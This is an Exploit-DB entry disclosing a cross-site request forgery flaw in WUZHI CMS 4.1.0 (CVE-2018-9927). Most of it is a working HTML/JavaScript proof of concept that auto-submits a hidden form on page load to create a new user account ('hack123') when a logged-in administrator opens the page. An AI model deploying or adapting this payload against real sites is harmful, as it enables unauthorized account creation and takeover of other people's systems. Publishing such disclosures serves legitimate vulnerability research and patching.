WUZHI CMS 4.1.0 - ‘Add User Account’ Cross-Site Request Forgery

EDB-ID: 44440
Author: taoge
Published: 2018-04-10
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-04-10 
# Exploit Author: taoge
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms
# Software Link: https://github.com/wuzhicms/wuzhicms
# Version: 4.1.0
# CVE : CVE-2018-9927

An issue was discovered in WUZHI CMS 4.1.0.(https://github.com/wuzhicms/wuzhicms/issues/128)
There is a CSRF vulnerability that can add a user account via index.php?m=member&f=index&v=add.
After the administrator logged in, open the csrf exp page.


<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='info[username]' value='hack123' />";
fields += "<input type='hidden' name='info[password]' value='hacktest' />";
fields += "<input type='hidden' name='info[pwdconfirm]' value='hacktest' />";
fields += "<input type='hidden' name='info[email]' value='[email protected]' />";
fields += "<input type='hidden' name='info[mobile]' value='' />";
fields += "<input type='hidden' name='modelids[]' value='10' />";
fields += "<input type='hidden' name='info[groupid]' value='3' />";
fields += "<input type='hidden' name='pids[]' value='0' />";
fields += "<input type='hidden' name='pids[]' value='0' />";
fields += "<input type='hidden' name='pids[]' value='0' />";
fields += "<input type='hidden' name='pids[]' value='0' />";
fields += "<input type='hidden' name='avatar' value='' />";
fields += "<input type='hidden' name='islock' value='0' />";
fields += "<input type='hidden' name='sys_name' value='0' />";
fields += "<input type='hidden' name='info[birthday]' value='' />";
fields += "<input type='hidden' name='info[truename]' value='' />";
fields += "<input type='hidden' name='info[sex]' value='0' />";
fields += "<input type='hidden' name='info[marriage]' value='0' />";


var url = "http://127.0.0.1/www/index.php?m=member&f=index&v=add&_su=wuzhicms&_menuid=30&_submenuid=74&submit=taoge";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

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